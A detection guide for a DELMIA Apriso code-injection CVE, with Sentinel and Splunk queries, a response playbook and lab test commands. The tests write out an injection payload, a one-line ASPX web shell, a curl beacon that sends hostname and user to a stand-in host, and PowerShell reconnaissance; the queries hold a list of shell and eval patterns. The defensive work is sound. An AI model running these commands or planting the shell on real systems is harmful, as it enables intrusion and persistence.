Detect CVE-2025-6204 — Dassault Systèmes DELMIA Apriso Code Injection in Microsoft Sentinel
Detects exploitation of CVE-2025-6204, a code injection vulnerability (CWE-94) in Dassault Systèmes DELMIA Apriso. This vulnerability allows attackers to inject and execute arbitrary code through the Apriso application layer. It is listed on CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. Successful exploitation can lead to remote code execution, lateral movement, and full compromise of manufacturing execution system (MES) environments.
MITRE ATT&CK
KQL Detection Query
let AprsioPorts = dynamic([80, 443, 8080, 8443]);
let SuspiciousPatterns = dynamic(["eval(", "exec(", "system(", "passthru(", "shell_exec(", "Runtime.exec", "ProcessBuilder", "ScriptEngine", "Invoke-Expression", "cmd.exe", "powershell", "bash -c", "sh -c"]);
union DeviceNetworkEvents, DeviceProcessEvents, W3CIISLog
| where TimeGenerated > ago(24h)
| where (
(Type == "W3CIISLog" and csUriStem contains "Apriso") or
(Type == "DeviceNetworkEvents" and RemotePort in (AprsioPorts)) or
(Type == "DeviceProcessEvents" and InitiatingProcessParentFileName has_any ("w3wp.exe", "java.exe", "tomcat"))
)
| extend RequestPayload = coalesce(csUriQuery, AdditionalFields)
| where RequestPayload has_any (SuspiciousPatterns)
or ProcessCommandLine has_any (SuspiciousPatterns)
| project TimeGenerated, DeviceName, AccountName, RemoteIP, RequestPayload, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName
| summarize EventCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), UniqueIPs=dcount(RemoteIP) by DeviceName, AccountName, InitiatingProcessFileName
| where EventCount > 0Detects code injection exploitation attempts against DELMIA Apriso by correlating IIS/web logs for suspicious payload patterns with child process spawning from Apriso web worker processes.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrative scripts executed against Apriso API endpoints by MES administrators
- Automated CI/CD pipelines that deploy or test Apriso configurations using shell commands
- Security scanners and vulnerability assessment tools probing Apriso endpoints
- Legitimate Java or .NET process spawning during scheduled Apriso batch jobs
Other platforms for CVE-2025-6204
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Apriso Code Injection via HTTP Request with Command Execution Payload
Expected signal: IIS access log entry with POST to /Apriso/GlobalSuite.aspx; Sysmon Event ID 1 showing cmd.exe spawned by w3wp.exe; Windows Security Event ID 4688 for cmd.exe process creation.
- Test 2Web Shell Drop Simulation via Apriso Worker Process
Expected signal: Sysmon Event ID 11 (FileCreate) for test_shell.aspx in the web root; Sysmon Event ID 1 for cmd.exe with parent w3wp.exe; Windows Security Event ID 4663 for file write to IIS directory.
- Test 3Outbound Beacon Simulation from Apriso Server Context
Expected signal: Network connection event from the Apriso process (java or tomcat) to an external/loopback destination; DNS query or direct IP connection logged by EDR or network monitoring; process execution log showing curl or wget spawned by the web application parent.
- Test 4Reconnaissance Commands Executed Post-Injection via PowerShell
Expected signal: Sysmon Event ID 1 for powershell.exe with parent w3wp.exe; Windows Security Event ID 4688 for PowerShell process; PowerShell Script Block Logging Event ID 4104 capturing the reconnaissance commands.
Response Playbook
Triage
- Immediately identify the source IP(s) of requests to Apriso endpoints containing injection patterns; cross-reference with known internal IP ranges, VPN egress nodes, and threat intel feeds.
- Determine whether any child processes were successfully spawned from w3wp.exe, java.exe, or tomcat processes on Apriso servers. Inspect Sysmon Event ID 1 (ProcessCreate) for parent-child chains originating from web workers.
- Review Apriso application logs (typically under the Apriso installation directory) for abnormal request patterns, HTTP 200 responses to unusual URIs, or unexpected parameter values in manufacturing workflow endpoints.
- Check for lateral movement indicators: new network connections from Apriso servers to internal manufacturing floor systems, PLCs, SCADA interfaces, or domain controllers following the initial alert.
Containment
- Isolate the affected Apriso server(s) at the network layer immediately — block ingress from all sources except explicitly whitelisted MES client IP ranges. If cloud-hosted, apply security group rules or NSG rules to cut external access.
- Terminate any identified malicious child processes on the Apriso host and revoke any credentials (service accounts, API tokens) that may have been exposed or used by the injected code. Rotate Apriso application pool credentials and any secrets stored in the application configuration.
Evidence Collection
- Collect full IIS access logs, application event logs, and Windows Security Event Logs from the Apriso server covering the 48-hour window preceding and following the first alert. Include Sysmon logs if deployed.
- Capture a memory image of the Apriso web worker process (w3wp.exe or java.exe) using tools such as ProcDump or WinPmem before terminating, to preserve injected shellcode or in-memory payloads for forensic analysis.
Escalation Criteria
- !Escalate to incident response if any evidence of successful code execution is confirmed — including spawned child processes, new files written to disk by the web worker, outbound connections to external IPs, or credential harvesting activity.
- !Escalate immediately to OT/ICS security team if Apriso server shows network connections toward operational technology (OT) segments, PLCs, or industrial control systems, as DELMIA Apriso bridges IT and manufacturing floor environments.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS or Tomcat access logs containing anomalous URI query parameters with eval(), exec(), system(), or Runtime.exec patterns directed at Apriso endpoints. - >
Windows Event Log Event ID 4688 (Process Creation) or Sysmon Event ID 1 showing cmd.exe, powershell.exe, bash, or python spawned with parent process w3wp.exe or java.exe. - >
File system artifacts: newly created executables, scripts, or web shells in the Apriso installation directory, IIS wwwroot, or temp directories (e.g., %TEMP%, /tmp) owned by the application pool user. - >
Network connection logs showing outbound connections from the Apriso server to external IP addresses or unusual internal segments, particularly on non-standard ports, following the exploitation window.
Tuning Guidance
Reduce false positives by building an allowlist of legitimate Apriso service account names and known-good child process command lines (e.g., health check scripts, JVM diagnostic utilities). Apply the allowlist as exclusion filters in the ProcessCommandLine field. If Apriso runs on dedicated hosts, restrict detection scope to those specific hostnames or IP ranges using a watchlist. For IIS/web log detections, tune URI stem patterns to match the specific Apriso application virtual paths deployed in your environment (e.g., /Apriso/, /GlobalSuite/) rather than broad keyword matching. Increase confidence by correlating web log hits with near-simultaneous process creation events — a payload in a web log without a corresponding process spawn is a lower-fidelity signal.
Hunting Queries
Broad hunt for any shell or scripting interpreter spawned as a child of Apriso web worker processes over the past 7 days, regardless of payload content, to identify post-exploitation activity that may not match known injection pattern signatures.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessParentFileName has_any ("w3wp.exe", "java.exe", "tomcat.exe", "tomcat9.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "sh", "bash", "python.exe", "python3", "wscript.exe", "cscript.exe", "mshta.exe", "net.exe", "whoami.exe", "ipconfig.exe", "nltest.exe")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessParentFileName, ProcessCommandLine, FileName
| order by TimeGenerated descindex=sysmon EventCode=1
| where ParentImage LIKE "%w3wp%" OR ParentImage LIKE "%java%" OR ParentImage LIKE "%tomcat%"
| where Image LIKE "%cmd.exe%" OR Image LIKE "%powershell%" OR Image LIKE "%bash%" OR Image LIKE "%python%" OR Image LIKE "%wscript%" OR Image LIKE "%net.exe%" OR Image LIKE "%whoami%"
| stats count by _time, host, ParentImage, Image, CommandLine
| sort -_timeAtomic Red Team Tests
Sends a crafted HTTP POST request to a local Apriso test instance with a code injection payload in a parameter field, simulating CVE-2025-6204 exploitation. Intended for isolated lab environments only.
Command
Invoke-WebRequest -Method POST -Uri 'http://localhost/Apriso/GlobalSuite.aspx' -Body @{action='execute'; payload='cmd.exe /c whoami > C:\Temp\apriso_test_output.txt'} -UseBasicParsingCleanup
Remove-Item C:\Temp\apriso_test_output.txt -ErrorAction SilentlyContinueExpected Telemetry
IIS access log entry with POST to /Apriso/GlobalSuite.aspx; Sysmon Event ID 1 showing cmd.exe spawned by w3wp.exe; Windows Security Event ID 4688 for cmd.exe process creation.
Expected Detection
KQL and SPL detections should fire on the combination of Apriso URI path and cmd.exe payload in the request body, and on the w3wp.exe -> cmd.exe process creation chain.
Simulates an attacker dropping a web shell after successful code injection by writing a test file to the IIS web root from the context of the application pool account, mimicking post-exploitation persistence.
Command
cmd.exe /c echo ^<%@ Page Language="C#" %^>^<% System.Diagnostics.Process.Start(Request["c"]); %^> > C:\inetpub\wwwroot\Apriso\test_shell.aspxCleanup
del C:\inetpub\wwwroot\Apriso\test_shell.aspx /f /qExpected Telemetry
Sysmon Event ID 11 (FileCreate) for test_shell.aspx in the web root; Sysmon Event ID 1 for cmd.exe with parent w3wp.exe; Windows Security Event ID 4663 for file write to IIS directory.
Expected Detection
File creation detection rules and the process chain detection (w3wp.exe -> cmd.exe -> file write) should generate alerts. Web shell content patterns may also trigger AV/EDR heuristics.
Simulates the outbound network connection an attacker might establish after code injection to exfiltrate data or download a second-stage payload, executed from the Apriso web worker context in a lab.
Command
curl -s -o /tmp/apriso_beacon_test.txt 'http://127.0.0.1:9999/beacon?host=$(hostname)&user=$(whoami)' || trueCleanup
rm -f /tmp/apriso_beacon_test.txtExpected Telemetry
Network connection event from the Apriso process (java or tomcat) to an external/loopback destination; DNS query or direct IP connection logged by EDR or network monitoring; process execution log showing curl or wget spawned by the web application parent.
Expected Detection
Chronicle YARAL and Elastic EQL sequence rules should detect the network connection from a web worker process followed by an outbound HTTP request to an unexpected destination. CrowdStrike CQL NetworkConnectIP4 events should capture the connection.
Simulates an attacker running discovery commands after gaining code execution on an Apriso Windows server, using PowerShell spawned from the IIS worker process context.
Command
powershell.exe -NoProfile -NonInteractive -Command "& { $env:COMPUTERNAME; $env:USERNAME; Get-LocalUser | Select-Object Name,Enabled | ConvertTo-Json }" > C:\Temp\apriso_recon_test.txt 2>&1Cleanup
Remove-Item C:\Temp\apriso_recon_test.txt -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1 for powershell.exe with parent w3wp.exe; Windows Security Event ID 4688 for PowerShell process; PowerShell Script Block Logging Event ID 4104 capturing the reconnaissance commands.
Expected Detection
All SIEM detections monitoring for PowerShell spawned by w3wp.exe should alert. The CommandLine field containing NoProfile and NonInteractive flags in conjunction with discovery cmdlets is a high-confidence indicator.